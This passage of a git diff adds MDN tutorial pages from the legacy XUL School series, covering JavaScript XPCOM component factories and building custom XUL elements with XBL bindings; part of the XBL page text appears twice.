+<div class="codeContent panelContent">
+<pre class="brush: js">var CounterModule = {
+  // registerSelf, unregisterSelf, getClassObject, canUnload
+};</pre>
+</div>
+</div>
+
+<p>The only thing you may need to change here is when you need to use the <a href="/en/XPCOM_Interface_Reference/nsICategoryManager" title="en/nsICategoryManager">Category Manager</a>. The Category Manager is a service that allows you to register your component under categories that are either pre-existing or you make up. The service also allows you to get all components registered in a category and invoke methods on them. One common use for this service is registering a component as a <a href="/en/XPCOM_Interface_Reference/nsIContentPolicy" title="en/nsIContentPolicy">Content Policy</a>. With it you can detect and filter URL loads. This is covered further ahead in another section of the tutorial.</p>
+
+<p>The <em>add</em> and <em>delete</em> calls to the Category Manager would have to be done in the <em>registerSelf</em> and <em>unregisterSelf</em> methods:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">registerSelf : function(aCompMgr, aLocation, aLoaderStr, aType) {
+
+  let categoryManager =
+    Cc[@mozilla.org/categorymanager;1].getService(Ci.nsICategoryManager);
+
+  aCompMgr.QueryInterface(Ci.nsIComponentRegistrar);
+  aCompMgr.registerFactoryLocation(
+    CLASS_ID, CLASS_NAME, CONTRACT_ID, aLocation, aLoaderStr, aType);
+  categoryManager.addCategoryEntry(
+    "content-policy", "XULSchool Hello World", CONTRACT_ID, true, true);
+},</pre>
+</div>
+</div>
+
+<p>In this case the component would need to implement <em>nsIContentPolicy</em>.</p>
+
+<p>And, finally, the factory object.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">var CounterFactory = {
+  /* Single instance of the component. */
+  _singletonObj: null,
+
+  createInstance: function(aOuter, aIID) {
+    if (aOuter != null) {
+      throw Cr.NS_ERROR_NO_AGGREGATION;
+    }
+    // in this case we need a unique instance of the service.
+    if (!this._singletonObj) {
+      this._singletonObj = MessageCounter;
+    }
+
+    return this._singletonObj.QueryInterface(aIID);
+  }
+};</pre>
+</div>
+</div>
+
+<p>If we wanted a class that can be instantiated, instead of a singleton service, the Factory would look like this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">var CounterFactory = {
+
+  createInstance: function(aOuter, aIID) {
+    if (aOuter != null) {
+      throw Cr.NS_ERROR_NO_AGGREGATION;
+    }
+
+    return (new Counter()).QueryInterface(aIID);
+  }
+};</pre>
+</div>
+</div>
+
+<p>The instructions on how to build an IDL file are included in the section <a href="/en/XUL_School/Setting_Up_a_Development_Environment" title="en/XUL School/Setting Up a Development Environment">Setting up a Development Environment</a>.</p>
+
+<h2 id="C_XPCOM_Components">C++ XPCOM Components</h2>
+
+<p>You do not want to do this unless it's really necessary.</p>
+
+<p>There are few reasons you might need to use binary XPCOM. One of them is adding functionality to Firefox that it doesn't support natively. In that, you would either need to implement this feature for every platform, or limit your extension compatibility to the ones you'll support. You'll need to build a library file for each one of them: DLL for Windows, dylib for Mac (Intel and PPC) and .so for Linux and similar.</p>
+
+<p>We won't get into details about this because it's certainly not tutorial material. <a class="external" href="http://nerdlife.net/building-a-c-xpcom-component-in-windows/" title="http://nerdlife.net/building-a-c-xpcom-component-in-windows/">This blog post</a> details the XPCOM build set up. And you'll need to read the <a href="/En/Developer_Guide/Build_Instructions" title="en/Build Documentation">Build Documentation</a> thoroughly to understand how this all works.</p>
+
+<div class="note">If you need to interact with system libraries without really needing to create one of your own, you should consider using c-types instead. The <a href="/en/js-ctypes" title="en/JavaScript code modules/ctypes.jsm">c-types module</a> is a new bridge between JavaScript and native binaries, introduced in Firefox 3.7. With it, you can interact with existing system libraries without using XPCOM at all.</div>
+
+<p>{{ PreviousNext("Escuela_XUL/Uso_de_objetos_en_JavaScript", "Escuela_XUL/Notificaciones_Observer") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/personalizar_elementos_xul_con_xbl/index.html b/files/es/mozilla/tech/xul/escuela_xul/personalizar_elementos_xul_con_xbl/index.html
new file mode 100644
index 0000000000..f01864d483
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/personalizar_elementos_xul_con_xbl/index.html
@@ -0,0 +1,544 @@
+---
+title: Personalizar elementos XUL con XBL
+slug: Mozilla/Tech/XUL/Escuela_XUL/Personalizar_elementos_XUL_con_XBL
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Custom_XUL_Elements_with_XBL
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p> </p>
+
+<p>{{ PreviousNext("Escuela_XUL/Enlazando_contenido_remoto", "Escuela_XUL/Notificaciones_de_usuario_y_alertas") }}</p>
+
+<blockquote>
+<p><strong>XML Binding Language</strong> (<strong>XBL</strong>, sometimes also called Extensible Bindings Language) is a language for describing bindings that can be attached to elements in other documents. The element that the binding is attached to, called the <em>bound element</em>, acquires the new behavior specified by the binding.</p>
+</blockquote>
+
+<p>Taken from the <a href="/en/XBL" title="en/XBL">XBL page</a>.</p>
+
+<p>This somewhat cryptic explanation describes a very simple concept: with XBL you can create your own custom elements. XBL is heavily used in XUL, but in theory it could be applied to any XML language. XBL was submitted to the <a class="external" href="http://w3.org/">W3C</a> for standardization, but for now it's used in XUL almost exclusively.</p>
+
+<p>With XBL you can define new elements and define their properties, attributes, methods and event handlers. Many complex elements such as tabs, buttons and input controls are implemented using XBL and simpler XUL elements. As explained earlier, XUL is really just boxes, text and images.</p>
+
+<p>We'll look into XBL using a modified version of the Hello World extension. Download the <a href="/@api/deki/files/5146/=HelloWorld6.zip" title="https://developer.mozilla.org/@api/deki/files/5146/=HelloWorld6.zip">Hello World XBL project</a>, build it and test it for a while. You should see a new item in the Hello World menu, that opens a Binding Test window where you can add "Persons" to a list.</p>
+
+<h2 id="XBL_Basics">XBL Basics</h2>
+
+<p>In order to create an XBL binding you'll need 2 files: the XBL file and a CSS file that binds an element name to your XBL declaration. If you look into the <em>content</em> directory, you'll see both files:</p>
+
+<ul>
+ <li><em>person.xml</em> - this is the main binding file. It holds all the code necessary to control the new element we created. We'll look into the code throughout the rest of this section. For now, just notice the opening part of the <em>binding</em> element: <em>&lt;binding id="person"&gt;</em>.</li>
+ <li><em>bindings.css</em> - this is the file that associates the element name to the XBL file. It associates the <em>xshelloperson</em> element name to the binding defined in the XBL file. Since you can have more than one binding per file, the "#person" part points to the id of the one we want. This CSS file is located in the content because it's not something we would normally want to be replaced by a skin, and it's not really defining style; it defines content behavior instead.</li>
+</ul>
+
+<div class="note">If you use bindings on toolbar elements, remember to include the CSS file in the customize dialog, using the <em>style</em> directive in the <em>chrome.manifest</em> file.</div>
+
+<p>With those 2 files properly defined, we can now use the new element. If you look at file <em>bindingDialog.xul</em>, you'll see that the CSS stylesheet is included, which means that the <em>xshelloperson</em> tag can now be used just like any XUL tag. In this case we're adding the "Persons" dynamically, so you'll have to look into the JS file to see how <em>xshelloperson</em> elements are created and added to the DOM just like any other.</p>
+
+<pre class="brush: js">addPerson : function(aEvent) {
+  // ...
+  let person = document.createElement("xshelloperson");
+  // ...
+  person.setAttribute("name", name);
+  person.setAttribute("greeting", greeting);
+  // ...
+  personList.appendChild(person);
+  // ...
+},
+</pre>
+
+<p>This is where the advantage of XBL is obvious: we only need to create a single node and set some attributes. We didn't need to create a whole XUL structure that would require around 7 nodes <strong>every time</strong> a "Person" is created. XBL provides the encapsulation we needed to manage these nodes as a unit.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">As a bonus, you should look into the usage of <a href="/en/XPCOM_Interface_Reference/nsIFilePicker" title="en/NsIFilePicker">nsIFilePicker</a> to open a "Open File" dialog in a way that looks native for all systems.</div>
+</div>
+</div>
+
+<p>Now let's look into the XBL file, <em>p</em><em>erson.xml.</em></p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;bindings xmlns="http://www.mozilla.org/xbl"
+  xmlns:xbl="http://www.mozilla.org/xbl"
+  xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;</pre>
+</div>
+</div>
+
+<p>The <a href="/en/XUL/bindings" title="en/XUL/bindings">bindings</a> element is the root of the document, and it's a container for <a href="/en/XUL/binding" title="en/XUL/binding">binding</a> elements. Notice how the default namespace for the document is XBL, and the XUL namespace is defined as "xul". You'll need to keep this in mind when defining the content of the binding, because weird things can happen if you don't add "xul:" to your content nodes.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;binding id="person"&gt;</pre>
+</div>
+</div>
+
+<p>In general, you should only have one binding per file. Bindings tend to require many lines of code, and having more than one ends up making gigantic, unbrowsable files. On the other hand, if your bindings are small and have a strong relationship with each other, it makes sense to keep them together. As for the CSS file, it's usually good to have a single file declaring all bindings in your extension.</p>
+
+<h2 id="Content">Content</h2>
+
+<p>Under the <a href="/en/XBL/XBL_1.0_Reference/Elements#content" title="en/XBL/XBL 1.0 Reference/Elements#content">content</a> tag you define the XUL content that will be displayed for your element.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;content&gt;
+  &lt;xul:hbox&gt;
+    &lt;xul:image class="xulshoolhello-person-image" xbl:inherits="src=image" /&gt;
+    &lt;xul:vbox flex="1"&gt;
+      &lt;xul:label xbl:inherits="value=name" /&gt;
+      &lt;xul:description xbl:inherits="value=greeting" /&gt;
+    &lt;/xul:vbox&gt;
+    &lt;xul:vbox&gt;
+      &lt;xul:button label="&amp;xulshoolhello.remove.label;"
+        accesskey="&amp;xulshoolhello.remove.accesskey;"
+        oncommand="document.getBindingParent(this).remove(event);" /&gt;
+    &lt;/xul:vbox&gt;
+  &lt;/xul:hbox&gt;
+&lt;/content&gt;</pre>
+</div>
+</div>
+
+<p>Our element is very simple, displaying an image, a couple of text lines and a button. Here are a couple of important things to notice:</p>
+
+<ul>
+ <li>The "xul:" namespace must be used for all XUL tags you have in your content.</li>
+ <li>The <em>xbl:inherits</em> attribute lets your inner XUL use the attributes that are set on the node. So, if you have this: <em>&lt;xshelloperson name="Pete" greeting="Good morning" image="" /&gt;</em>, then those attribute values are "inherited" to the content nodes that have this special attribute. The <em>value</em> attribute of the <em>xul:label</em> element would be "Pete".</li>
+ <li>The <em>oncommand</em> attribute of the button has some code you've probably never seen before: <em>document.getBindingParent(this)</em>. This code gets the DOM object that corresponds to the <em>xshelloperson</em> tag, allowing you access to its methods and properties. In this case we're calling the <em>remove</em> method, which we will discuss later on.</li>
+</ul>
+
+<p>If you need to create a container element, or any other element that has child nodes, you can use the XBL <a href="/en/XBL/XBL_1.0_Reference/Elements#children" title="en/XBL/XBL 1.0 Reference/Elements#children">children</a> tag in your content to indicate the place where the child nodes will be inserted. The <em>includes</em> attribute gives you a little more flexibility with children, but it's rarely needed.</p>
+
+<p>One important thing to take into account is that you shouldn't use the <em>id</em> attribute in any <em>content</em> nodes. These nodes are part of the XUL DOM just like any other, and having an <em>id</em> attribute is bound to cause problems, given that you could have more than instance of your element in the same document and then multiple inner items with the same <em>id</em>. In order to work around this problem, the <em>anonid</em> attribute is used instead:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre> &lt;xul:label anonid="xulshoolhello-name-label" xbl:inherits="value=name" /&gt;</pre>
+</div>
+</div>
+
+<p>And then, in order to get a reference to the node from the JS code in your binding, we use the <a href="/en/XBL/XBL_1.0_Reference/DOM_Interfaces#getAnonymousElementByAttribute" title="en/XBL/XBL 1.0 Reference/DOM Interfaces#getAnonymousElementByAttribute">getAnonymousElementByAttribute</a> DOM method:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let nameLabel =
+  document.getAnonymousElementByAttribute(
+    this, "anonid", "xulshoolhello-name-label");</pre>
+</div>
+</div>
+
+<h2 id="Implementation">Implementation</h2>
+
+<p>The <a href="/en/XBL/XBL_1.0_Reference/Binding_Implementations" title="en/XBL/XBL 1.0 Reference/Binding Implementations">implementation</a> section defines most of the scripting side of your element. Here you can define methods and properties, as well as a <a href="/en/XBL/XBL_1.0_Reference/Elements#constructor" title="en/XBL/XBL 1.0 Reference/Elements#constructor">constructor</a> and a <a href="/en/XBL/XBL_1.0_Reference/Elements#destructor" title="en/XBL/XBL 1.0 Reference/Elements#destructor">destructor</a> for your element. JavaScript code is enclosed in <em>CDATA</em> sections to prevent JS and XML syntax conflicts.</p>
+
+<h3 id="Properties_and_Fields">Properties and Fields</h3>
+
+<p>The <a href="/en/XBL/XBL_1.0_Reference/Elements#field" title="en/XBL/XBL 1.0 Reference/Elements#field">field</a> and <a href="/en/XBL/XBL_1.0_Reference/Elements#property" title="en/XBL/XBL 1.0 Reference/Elements#property">property</a> tags allow you to handle element variables and access them from outside of the element.</p>
+
+<p>A <em>field</em> holds a value that can be changed, except when the <em>readonly</em> attribute is set. It's very similar to a JS object variable, and we generally use a <em>field</em> for private variables inside of the element.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;field name="fieldName"&gt;defaultValue&lt;/field&gt;</pre>
+</div>
+</div>
+
+<p>From inside your binding methods, you can access fields with:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this.fieldName</pre>
+</div>
+</div>
+
+<p>You can also access them from outside of the element, if you have a reference to it:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">elementRef.fieldName</pre>
+</div>
+</div>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">Just like with JS objects, all fields are publicly accessible, and we use a "_" to indicate a field is "private". </div>
+</div>
+</div>
+
+<p>A <em>property</em> is a little more robust. It is defined using a getter and setter method, allowing read-only and write-only properties, as well as more complex behavior. There are two properties defined in our binding, which are just meant for easier access to the two text attributes in the element. We use the shorthand version of the <em>property</em> tag:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;property name="name" onget="return this.getAttribute('name');"
+  onset="this.setAttribute('name', val);" /&gt;</pre>
+</div>
+</div>
+
+<p>There's a less compact version of the property tag that should be used if the getter or setter code involves more than one line of code:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;property name="name"&gt;
+  &lt;getter&gt;&lt;![CDATA[
+    return this.getAttribute('name');
+  ]]&gt;&lt;/getter&gt;
+  &lt;setter&gt;&lt;![CDATA[
+    this.setAttribute('name', val);
+  ]]&gt;&lt;/setter&gt;
+&lt;/property&gt;</pre>
+</div>
+</div>
+
+<p>Properties can be accessed just the same as fields, and they're the ones we prefer for public members.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">When you add a node to a XUL document using an XBL binding, all normal DOM operations can be performed on it. You can move it around, delete it or clone it. But there is one thing you need to know about moving or cloning your node: <strong>all internal state in the node will be lost</strong>. This means that all your properties and fields will be reset. If you want some value to be preserved after such DOM operations, you must set it as an attribute and not an internal value.</div>
+</div>
+</div>
+
+<h3 id="Methods">Methods</h3>
+
+<p>Our "Person" binding has a single method that removes the item from the list:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;method name="remove"&gt;
+  &lt;parameter name="aEvent" /&gt;
+  &lt;body&gt;&lt;![CDATA[
+    this.parentNode.removeChild(this);
+  ]]&gt;&lt;/body&gt;
+&lt;/method&gt;</pre>
+</div>
+</div>
+
+<p>As you can see, it's very easy to define a method and the parameters it takes. You can also have a return value using the <em>return</em> keyword, just like on regular JS code. The method uses the parent node to remove the Person node. Simple enough.</p>
+
+<p>You can do almost anything from XBL code, including using XPCOM components, JS Code Modules and available chrome scripts. The main setback is that you can't have <em>script</em> tags defined in a binding, so you depend on the scripts that have been included in the XUL files that use the binding. Also unlike scripts, you can include stylesheets using the <a href="/en/XBL/XBL_1.0_Reference/Elements#stylesheet" title="en/XBL/XBL 1.0 Reference/Elements#stylesheet">stylesheet</a> XBL element. DTD and properties files can be handled just like in regular XUL.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">There are two conflicting patterns that you should always keep in mind: encapsulation and separation of presentation and logic. Encapsulation mandates that you try to keep your XBL free of outside dependencies. That is, you shouldn't assume that script X will be included somewhere, because not including it will cause the binding to fail. This suggests that you should keep everything inside your binding. On the other hand, a binding is really just a presentation module. Most XUL elements have basic presentation logic, and any other functionality is processed elsewhere. Plus, XBL files are significantly harder to manage than regular JS files. We prefer to err on the side of simplicity and keep the XBL as simple as possible. If that means having outside dependencies, so be it. But you can still keep some separation and versatility by using custom events to communicate to the outside world. This way you reduce your dependency on specific scripts, and your tag behaves more like the rest.</div>
+</div>
+</div>
+
+<p>Just like fields and properties, methods are easy to invoke if you have a reference to the object that corresponds to the node.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">We have experienced problems when calling methods and setting properties on XBL nodes right after they are created and inserted to the document. This is likely due to some asynchronous operation related to node insertion. If you need to perform an operation to a node right after insertion, we recommend using a timeout to delay the operation (a timeout set to 0 works well).</div>
+</div>
+</div>
+
+<h2 id="Handlers">Handlers</h2>
+
+<p>The <a href="/en/XBL/XBL_1.0_Reference/Elements#handlers" title="en/XBL/XBL 1.0 Reference/Elements#handlers">handlers</a> and <a href="/en/XBL/XBL_1.0_Reference/Elements#handler" title="en/XBL/XBL 1.0 Reference/Elements#handler">handler</a> XBL elements are used to define event handlers for the element. We have a "click" handler that displays the greeting when the "Person" element is clicked:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;handler phase="bubbling" event="click"&gt;&lt;![CDATA[
+  window.alert(this.greeting);
+]]&gt;&lt;/handler&gt;</pre>
+</div>
+</div>
+
+<p>Handlers are not necessary all that often, since in most cases you'll need the events to only apply to a part of the binding, not the whole thing. In those cases you just add regular event attributes to the nodes inside the <em>content</em> tag.</p>
+
+<h2 id="Inheritance">Inheritance</h2>
+
+<p>Inheritance is one of the most powerful features of XBL. It allows you to create bindings that extend existing bindings, allowing lots of code reuse and subtle behavior modifications. All you need is to use the <em>extends</em> attribute of the binding element:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;binding id="manager"
+  extends="chrome://xulschoolhello/content/person.xml#person"&gt;</pre>
+</div>
+</div>
+
+<p>This gives you an exact copy of the "Person" binding that you can override as you please.</p>
+
+<p>You could, for instance, just add a <em>content</em> tag with significantly different XUL content, and leave the <em>implementation</em> alone. You do need to be careful about keeping all <em>anonid</em> attributes consistent, and even some DOM structure if the code does node traversal. Sadly, you can't override only some part of the content. If you want to override it, you have to override all of it.</p>
+
+<p>A more common inheritance use case is when you want to change the behavior of some methods and properties. You can leave the content alone by not including the <em>content</em> tag, and then just add the methods and properties you wish to override. All you need to do is match the names of the originals. All methods and properties that are not overriden will maintain their original behavior.</p>
+
+<p>With inheritance you could take the <a href="/en/XUL/richlistbox" title="en/XUL/richlistbox">richlistbox</a> element and modify it to make a rich item tree, or create a switch button that changes state everytime it's clicked. And all with very little additional code. Keep it in mind when creating your custom elements because it can save you lots of time.</p>
+
+<h2 id="Replacing_Existing_XUL_Elements">Replacing Existing XUL Elements</h2>
+
+<p>As seen in the beginning of this section, the actual binding process is determined by a simple CSS rule that associates the tag name with the binding. This means that you can change the binding for pretty much any element in Firefox by just adding a CSS rule! This is very powerful: it allows you to change almost any aspect of the interface of any XUL window. In conjuntion with inheritance, it's even easy to do. You can enrich the UI of a Firefox window by extending and replacing elements, which is what the <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1815">Console²</a> extension does in order to improve the Error Console window.</p>
+
+<p>Replacing elements should always be a last resort solution, specially if it is done on the main browser window. It's very easy to break the UI of the application or other extensions if you do this the wrong way, so be very careful about it. If you only need to change some specific instances of an element, use very specific CSS rules.</p>
+
+<p>You can use the <a href="/en/CSS/-moz-binding" title="en/CSS/-moz-binding">-moz-binding</a> property with any CSS selector.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Enlazando_contenido_remoto", "Escuela_XUL/Notificaciones_de_usuario_y_alertas") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
+
+<p>{{ PreviousNext("Escuela_XUL/Enlazando_contenido_remoto", "Escuela_XUL/Notificaciones_de_usuario_y_alertas") }}</p>
+
+<blockquote>
+<p><strong>XML Binding Language</strong> (<strong>XBL</strong>, sometimes also called Extensible Bindings Language) is a language for describing bindings that can be attached to elements in other documents. The element that the binding is attached to, called the <em>bound element</em>, acquires the new behavior specified by the binding.</p>
+</blockquote>
+
+<p>Taken from the <a href="/en/XBL" title="en/XBL">XBL page</a>.</p>
+
+<p>This somewhat cryptic explanation describes a very simple concept: with XBL you can create your own custom elements. XBL is heavily used in XUL, but in theory it could be applied to any XML language. XBL was submitted to the <a class="external" href="http://w3.org/">W3C</a> for standardization, but for now it's used in XUL almost exclusively.</p>
+
+<p>With XBL you can define new elements and define their properties, attributes, methods and event handlers. Many complex elements such as tabs, buttons and input controls are implemented using XBL and simpler XUL elements. As explained earlier, XUL is really just boxes, text and images.</p>
+
+<p>We'll look into XBL using a modified version of the Hello World extension. Download the <a href="/@api/deki/files/5146/=HelloWorld6.zip" title="https://developer.mozilla.org/@api/deki/files/5146/=HelloWorld6.zip">Hello World XBL project</a>, build it and test it for a while. You should see a new item in the Hello World menu, that opens a Binding Test window where you can add "Persons" to a list.</p>
+
+<h2 id="XBL_Basics_2">XBL Basics</h2>
+
+<p>In order to create an XBL binding you'll need 2 files: the XBL file and a CSS file that binds an element name to your XBL declaration. If you look into the <em>content</em> directory, you'll see both files:</p>
+
+<ul>
+ <li><em>person.xml</em> - this is the main binding file. It holds all the code necessary to control the new element we created. We'll look into the code throughout the rest of this section. For now, just notice the opening part of the <em>binding</em> element: <em>&lt;binding id="person"&gt;</em>.</li>
+ <li><em>bindings.css</em> - this is the file that associates the element name to the XBL file. It associates the <em>xshelloperson</em> element name to the binding defined in the XBL file. Since you can have more than one binding per file, the "#person" part points to the id of the one we want. This CSS file is located in the content because it's not something we would normally want to be replaced by a skin, and it's not really defining style; it defines content behavior instead.</li>
+</ul>
+
+<div class="note">If you use bindings on toolbar elements, remember to include the CSS file in the customize dialog, using the <em>style</em> directive in the <em>chrome.manifest</em> file.</div>
+
+<p>With those 2 files properly defined, we can now use the new element. If you look at file <em>bindingDialog.xul</em>, you'll see that the CSS stylesheet is included, which means that the <em>xshelloperson</em> tag can now be used just like any XUL tag. In this case we're adding the "Persons" dynamically, so you'll have to look into the JS file to see how <em>xshelloperson</em> elements are created and added to the DOM just like any other.</p>
+
+<pre class="brush: js">addPerson : function(aEvent) {
+  // ...
+  let person = document.createElement("xshelloperson");
+  // ...
+  person.setAttribute("name", name);
+  person.setAttribute("greeting", greeting);
+  // ...
+  personList.appendChild(person);
+  // ...
+},
+</pre>
+
+<p>This is where the advantage of XBL is obvious: we only need to create a single node and set some attributes. We didn't need to create a whole XUL structure that would require around 7 nodes <strong>every time</strong> a "Person" is created. XBL provides the encapsulation we needed to manage these nodes as a unit.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">As a bonus, you should look into the usage of <a href="/en/XPCOM_Interface_Reference/nsIFilePicker" title="en/NsIFilePicker">nsIFilePicker</a> to open a "Open File" dialog in a way that looks native for all systems.</div>
+</div>
+</div>
+
+<p>Now let's look into the XBL file, <em>p</em><em>erson.xml.</em></p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;bindings xmlns="http://www.mozilla.org/xbl"
+  xmlns:xbl="http://www.mozilla.org/xbl"
+  xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;</pre>
+</div>
+</div>
+
+<p>The <a href="/en/XUL/bindings" title="en/XUL/bindings">bindings</a> element is the root of the document, and it's a container for <a href="/en/XUL/binding" title="en/XUL/binding">binding</a> elements. Notice how the default namespace for the document is XBL, and the XUL namespace is defined as "xul". You'll need to keep this in mind when defining the content of the binding, because weird things can happen if you don't add "xul:" to your content nodes.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;binding id="person"&gt;</pre>
+</div>
+</div>
+
+<p>In general, you should only have one binding per file. Bindings tend to require many lines of code, and having more than one ends up making gigantic, unbrowsable files. On the other hand, if your bindings are small and have a strong relationship with each other, it makes sense to keep them together. As for the CSS file, it's usually good to have a single file declaring all bindings in your extension.</p>
+
+<h2 id="Content_2">Content</h2>
+
+<p>Under the <a href="/en/XBL/XBL_1.0_Reference/Elements#content" title="en/XBL/XBL 1.0 Reference/Elements#content">content</a> tag you define the XUL content that will be displayed for your element.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;content&gt;
+  &lt;xul:hbox&gt;
+    &lt;xul:image class="xulshoolhello-person-image" xbl:inherits="src=image" /&gt;
+    &lt;xul:vbox flex="1"&gt;
+      &lt;xul:label xbl:inherits="value=name" /&gt;
+      &lt;xul:description xbl:inherits="value=greeting" /&gt;
+    &lt;/xul:vbox&gt;
+    &lt;xul:vbox&gt;
+      &lt;xul:button label="&amp;xulshoolhello.remove.label;"
+        accesskey="&amp;xulshoolhello.remove.accesskey;"
+        oncommand="document.getBindingParent(this).remove(event);" /&gt;
+    &lt;/xul:vbox&gt;
+  &lt;/xul:hbox&gt;
+&lt;/content&gt;</pre>
+</div>
+</div>
+
+<p>Our element is very simple, displaying an image, a couple of text lines and a button. Here are a couple of important things to notice:</p>
+
+<ul>
+ <li>The "xul:" namespace must be used for all XUL tags you have in your content.</li>
+ <li>The <em>xbl:inherits</em> attribute lets your inner XUL use the attributes that are set on the node. So, if you have this: <em>&lt;xshelloperson name="Pete" greeting="Good morning" image="" /&gt;</em>, then those attribute values are "inherited" to the content nodes that have this special attribute. The <em>value</em> attribute of the <em>xul:label</em> element would be "Pete".</li>
+ <li>The <em>oncommand</em> attribute of the button has some code you've probably never seen before: <em>document.getBindingParent(this)</em>. This code gets the DOM object that corresponds to the <em>xshelloperson</em> tag, allowing you access to its methods and properties. In this case we're calling the <em>remove</em> method, which we will discuss later on.</li>
+</ul>
+
+<p>If you need to create a container element, or any other element that has child nodes, you can use the XBL <a href="/en/XBL/XBL_1.0_Reference/Elements#children" title="en/XBL/XBL 1.0 Reference/Elements#children">children</a> tag in your content to indicate the place where the child nodes will be inserted. The <em>includes</em> attribute gives you a little more flexibility with children, but it's rarely needed.</p>
+
+<p>One important thing to take into account is that you shouldn't use the <em>id</em> attribute in any <em>content</em> nodes. These nodes are part of the XUL DOM just like any other, and having an <em>id</em> attribute is bound to cause problems, given that you could have more than instance of your element in the same document and then multiple inner items with the same <em>id</em>. In order to work around this problem, the <em>anonid</em> attribute is used instead:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre> &lt;xul:label anonid="xulshoolhello-name-label" xbl:inherits="value=name" /&gt;</pre>
+</div>
+</div>
+
+<p>And then, in order to get a reference to the node from the JS code in your binding, we use the <a href="/en/XBL/XBL_1.0_Reference/DOM_Interfaces#getAnonymousElementByAttribute" title="en/XBL/XBL 1.0 Reference/DOM Interfaces#getAnonymousElementByAttribute">getAnonymousElementByAttribute</a> DOM method:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let nameLabel =
+  document.getAnonymousElementByAttribute(
+    this, "anonid", "xulshoolhello-name-label");</pre>
+</div>
+</div>
+
+<h2 id="Implementation_2">Implementation</h2>
+
+<p>The <a href="/en/XBL/XBL_1.0_Reference/Binding_Implementations" title="en/XBL/XBL 1.0 Reference/Binding Implementations">implementation</a> section defines most of the scripting side of your element. Here you can define methods and properties, as well as a <a href="/en/XBL/XBL_1.0_Reference/Elements#constructor" title="en/XBL/XBL 1.0 Reference/Elements#constructor">constructor</a> and a <a href="/en/XBL/XBL_1.0_Reference/Elements#destructor" title="en/XBL/XBL 1.0 Reference/Elements#destructor">destructor</a> for your element. JavaScript code is enclosed in <em>CDATA</em> sections to prevent JS and XML syntax conflicts.</p>
+
+<h3 id="Properties_and_Fields_2">Properties and Fields</h3>
+
+<p>The <a href="/en/XBL/XBL_1.0_Reference/Elements#field" title="en/XBL/XBL 1.0 Reference/Elements#field">field</a> and <a href="/en/XBL/XBL_1.0_Reference/Elements#property" title="en/XBL/XBL 1.0 Reference/Elements#property">property</a> tags allow you to handle element variables and access them from outside of the element.</p>
+
+<p>A <em>field</em> holds a value that can be changed, except when the <em>readonly</em> attribute is set. It's very similar to a JS object variable, and we generally use a <em>field</em> for private variables inside of the element.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;field name="fieldName"&gt;defaultValue&lt;/field&gt;</pre>
+</div>
+</div>
+
+<p>From inside your binding methods, you can access fields with:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this.fieldName</pre>
+</div>
+</div>
+
+<p>You can also access them from outside of the element, if you have a reference to it:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">elementRef.fieldName</pre>
+</div>
+</div>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
